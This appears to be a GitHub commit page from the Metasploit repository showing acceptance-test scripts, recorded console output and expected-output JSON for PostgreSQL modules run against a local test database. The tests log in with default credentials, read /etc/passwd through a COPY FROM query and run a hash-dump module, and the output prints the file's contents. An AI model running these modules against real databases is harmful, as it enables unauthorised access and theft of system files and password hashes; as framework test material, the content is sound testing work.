-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 566bfd8
Showing
3,147 changed files
with
2,063,896 additions
and
0 deletions.
The diff you're trying to view is too large. We only load the first 3000 changed files.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
docs.metasploit.com |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
use auxiliary/scanner/postgres/postgres_login | ||
Stopping all jobs... | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> run PASS_FILE= USER_FILE= CreateSession=true username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> [!] No active DB -- Credential data will not be saved! | ||
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1 | ||
[*] PostgreSQL session 4 opened (127.0.0.1:42301 -> 127.0.0.1:5432) at 2024-03-14 08:38:31 +0000 | ||
use auxiliary/admin/postgres/postgres_readfile | ||
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password) | ||
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password) | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> run session=4 Verbose=true | ||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST | ||
[4mmsf6[0m auxiliary([1m[31madmin/postgres/postgres_readfile[0m) [0m> [*] 127.0.0.1:5432 Postgres - querying with 'select has_database_privilege(current_user,current_database(),'TEMP')' | ||
[*] 127.0.0.1:5432 Postgres - querying with 'CREATE TEMP TABLE akimsR (INPUT TEXT); | ||
COPY akimsR FROM '/etc/passwd'; | ||
SELECT * FROM akimsR' | ||
[*] 127.0.0.1:5432 Rows Returned: 21 | ||
Query Text: 'CREATE TEMP TABLE akimsR (INPUT TEXT); | ||
COPY akimsR FROM '/etc/passwd'; | ||
SELECT * FROM akimsR' | ||
===================================================================================================================== | ||
|
||
input | ||
----- | ||
Debian-exim:x:101:101::/var/spool/exim4:/bin/false | ||
_apt:x:100:65534::/nonexistent:/bin/false | ||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | ||
bin:x:2:2:bin:/bin:/usr/sbin/nologin | ||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | ||
games:x:5:60:games:/usr/games:/usr/sbin/nologin | ||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin | ||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin | ||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | ||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | ||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | ||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | ||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | ||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | ||
postgres:x:999:999::/var/lib/postgresql:/bin/bash | ||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | ||
root:x:0:0:root:/root:/bin/bash | ||
sync:x:4:65534:sync:/bin:/bin/sync | ||
sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | ||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | ||
|
||
root:x:0:0:root:/root:/bin/bash | ||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | ||
bin:x:2:2:bin:/bin:/usr/sbin/nologin | ||
sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||
sync:x:4:65534:sync:/bin:/bin/sync | ||
games:x:5:60:games:/usr/games:/usr/sbin/nologin | ||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | ||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | ||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | ||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | ||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | ||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | ||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | ||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | ||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | ||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin | ||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin | ||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | ||
_apt:x:100:65534::/nonexistent:/bin/false | ||
postgres:x:999:999::/var/lib/postgresql:/bin/bash | ||
Debian-exim:x:101:101::/var/spool/exim4:/bin/false | ||
[+] 127.0.0.1:5432 Postgres - /etc/passwd saved in /home/runner/.msf4/loot/20240314083831_default_127.0.0.1_postgres.file_044701.txt | ||
[+] 127.0.0.1:5432 Postgres - Command complete. | ||
[*] Auxiliary module execution completed | ||
sessions -K | ||
[4mmsf6[0m auxiliary([1m[31madmin/postgres/postgres_readfile[0m) [0m> jobs -K | ||
[*] Killing all sessions... | ||
[*] 127.0.0.1 - PostgreSQL session 4 closed. | ||
[4mmsf6[0m auxiliary([1m[31madmin/postgres/postgres_readfile[0m) [0m> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
## Load test modules | ||
loadpath test/modules | ||
|
||
## Session module | ||
use auxiliary/scanner/postgres/postgres_login | ||
|
||
## Set global datastore | ||
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
|
||
## Run command | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
|
||
|
||
## Replication commands | ||
use auxiliary/admin/postgres/postgres_readfile | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 Verbose=true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
## Load test modules | ||
loadpath test/modules | ||
|
||
## Session module | ||
use auxiliary/scanner/postgres/postgres_login | ||
|
||
## Set global datastore | ||
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
|
||
## Run command | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
|
||
|
||
## Replication commands | ||
use auxiliary/admin/postgres/postgres_readfile | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 Verbose=true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
## Load test modules | ||
loadpath test/modules | ||
|
||
## Session module | ||
use auxiliary/scanner/postgres/postgres_login | ||
|
||
## Set global datastore | ||
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
|
||
## Run command | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
|
||
|
||
## Replication commands | ||
use auxiliary/admin/postgres/postgres_readfile | ||
run session=1 Verbose=true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
## Load test modules | ||
loadpath test/modules | ||
|
||
## Session module | ||
use auxiliary/scanner/postgres/postgres_login | ||
|
||
## Set global datastore | ||
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
|
||
## Run command | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
|
||
|
||
## Replication commands | ||
use auxiliary/scanner/postgres/postgres_hashdump | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 Verbose=true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
use auxiliary/scanner/postgres/postgres_version | ||
Stopping all jobs... | ||
[4mmsf6[0m auxiliary([1m[31madmin/postgres/postgres_readfile[0m) [0m> run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 Verbose=true | ||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> [*] 127.0.0.1:5432 Postgres - Trying username:'postgres' with password:'password' against 127.0.0.1:5432 on database 'postgres' | ||
[*] 127.0.0.1:5432 Postgres - querying with 'select version()' | ||
[+] 127.0.0.1:5432 Postgres - Logged in to 'postgres' with 'postgres':'password' | ||
[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 16.2 (Debian 16.2-1.pgdg120+2) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit (Post-Auth) | ||
[!] No active DB -- Credential data will not be saved! | ||
[*] 127.0.0.1:5432 Postgres - Disconnected | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
sessions -K | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> jobs -K | ||
[*] Killing all sessions... | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
## Load test modules | ||
loadpath test/modules | ||
|
||
## Session module | ||
use auxiliary/scanner/postgres/postgres_login | ||
|
||
## Set global datastore | ||
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
|
||
## Run command | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
|
||
|
||
## Replication commands | ||
use auxiliary/admin/postgres/postgres_readfile | ||
run session=4 Verbose=true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
## Load test modules | ||
loadpath test/modules | ||
|
||
## Session module | ||
use auxiliary/scanner/postgres/postgres_login | ||
|
||
## Set global datastore | ||
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
|
||
## Run command | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
|
||
|
||
## Replication commands | ||
use auxiliary/admin/postgres/postgres_sql | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 Verbose=true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
{ | ||
"required_lines": [ | ||
{ | ||
"values": [ | ||
"(?-mix:root:x:\\d+:\\d+:root:)" | ||
], | ||
"options": { | ||
} | ||
}, | ||
{ | ||
"values": [ | ||
"(?-mix:postgres:x:\\d+:\\d+::)" | ||
], | ||
"options": { | ||
} | ||
} | ||
], | ||
"known_failures": [ | ||
|
||
] | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
## Load test modules | ||
loadpath test/modules | ||
|
||
## Session module | ||
use auxiliary/scanner/postgres/postgres_login | ||
|
||
## Set global datastore | ||
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
|
||
## Run command | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
|
||
|
||
## Replication commands | ||
use post/test/postgres | ||
run session=1 Verbose=true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead. | ||
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead. | ||
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions. | ||
[4mmsf6[0m [0m> loadpath test/modules | ||
Loaded 40 modules: | ||
14 auxiliary modules | ||
13 exploit modules | ||
13 post modules | ||
[4mmsf6[0m [0m> features set postgresql_session_type true | ||
postgresql_session_type => true | ||
[!] Run the save command and restart the console for this feature to take effect. | ||
[4mmsf6[0m [0m> use auxiliary/scanner/postgres/postgres_login | ||
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> run PASS_FILE= USER_FILE= CreateSession=true username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
[!] No active DB -- Credential data will not be saved! | ||
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1 | ||
[*] PostgreSQL session 1 opened (127.0.0.1:39397 -> 127.0.0.1:5432) at 2024-03-14 08:38:30 +0000 | ||
use post/test/postgres | ||
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password) | ||
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password) | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> run session=1 Verbose=true | ||
[4mmsf6[0m post([1m[31mtest/postgres[0m) [0m> [!] SESSION may not be compatible with this module: | ||
[!] * Unknown session platform. This module works with: Apple_iOS, Hardware, Multi, Mainframe, Firefox, NodeJS, Python, JavaScript, PHP, Unix, Irix, HPUX, AIX, FreeBSD, NetBSD, BSDi, OpenBSD, BSD, OSX, Solaris, Arista, Mikrotik, Brocade, Unifi, Juniper, Cisco, Linux, Ruby, R, Java, Android, Netware, Windows, Unknown. | ||
[*] Running against session 1 | ||
[*] Session type is postgresql and platform is | ||
[+] should return a version | ||
[+] should support the help command | ||
[*] Testing complete in 0.02 seconds | ||
[*] Passed: 2; Failed: 0; Skipped: 0 | ||
[*] Post module execution completed | ||
sessions -K | ||
[4mmsf6[0m post([1m[31mtest/postgres[0m) [0m> jobs -K | ||
[*] Killing all sessions... | ||
[*] 127.0.0.1 - PostgreSQL session 1 closed. | ||
[4mmsf6[0m post([1m[31mtest/postgres[0m) [0m> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
use auxiliary/scanner/postgres/postgres_login | ||
Stopping all jobs... | ||
[4mmsf6[0m auxiliary([1m[31madmin/postgres/postgres_sql[0m) [0m> irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> run PASS_FILE= USER_FILE= CreateSession=true username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> [!] No active DB -- Credential data will not be saved! | ||
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1 | ||
[*] PostgreSQL session 3 opened (127.0.0.1:34161 -> 127.0.0.1:5432) at 2024-03-14 08:38:31 +0000 | ||
use auxiliary/scanner/postgres/postgres_version | ||
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password) | ||
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password) | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> run session=3 Verbose=true | ||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> [*] 127.0.0.1:5432 Postgres - querying with 'select version()' | ||
[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 9.4.26 on x86_64-pc-linux-gnu (Debian 9.4.26-1.pgdg90+1), compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit (Post-Auth) | ||
[!] No active DB -- Credential data will not be saved! | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
sessions -K | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> jobs -K | ||
[*] Killing all sessions... | ||
[*] 127.0.0.1 - PostgreSQL session 3 closed. | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
{ | ||
"required_lines": [ | ||
{ | ||
"values": [ | ||
"(?-mix:Version PostgreSQL \\d+.\\d+)" | ||
], | ||
"options": { | ||
} | ||
} | ||
], | ||
"known_failures": [ | ||
|
||
] | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
{ | ||
"required_lines": [ | ||
{ | ||
"values": [ | ||
" Username Hash" | ||
], | ||
"options": { | ||
} | ||
}, | ||
{ | ||
"values": [ | ||
" -------- ----" | ||
], | ||
"options": { | ||
} | ||
}, | ||
{ | ||
"values": [ | ||
"(?-mix: postgres \\w+)" | ||
], | ||
"options": { | ||
} | ||
} | ||
], | ||
"known_failures": [ | ||
|
||
] | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
use auxiliary/scanner/postgres/postgres_login | ||
Stopping all jobs... | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> run PASS_FILE= USER_FILE= CreateSession=true username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> [!] No active DB -- Credential data will not be saved! | ||
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1 | ||
[*] PostgreSQL session 2 opened (127.0.0.1:42107 -> 127.0.0.1:5432) at 2024-03-14 08:38:33 +0000 | ||
use auxiliary/scanner/postgres/postgres_version | ||
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L323 Rauth_failed) | ||
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L323 Rauth_failed) | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_login[0m) [0m> run session=2 Verbose=true | ||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> [*] 127.0.0.1:5432 Postgres - querying with 'select version()' | ||
[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 16.2 (Debian 16.2-1.pgdg120+2) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit (Post-Auth) | ||
[!] No active DB -- Credential data will not be saved! | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
sessions -K | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> jobs -K | ||
[*] Killing all sessions... | ||
[*] 127.0.0.1 - PostgreSQL session 2 closed. | ||
[4mmsf6[0m auxiliary([1m[31mscanner/postgres/postgres_version[0m) [0m> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
## Load test modules | ||
loadpath test/modules | ||
|
||
## Session module | ||
use auxiliary/scanner/postgres/postgres_login | ||
|
||
## Set global datastore | ||
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
|
||
## Run command | ||
run lhost=127.0.0.1 username=postgres password=password rhost=127.0.0.1 rport=5432 | ||
|
||
|
||
## Replication commands | ||
use auxiliary/scanner/postgres/postgres_version | ||
run session=2 Verbose=true |
Oops, something went wrong.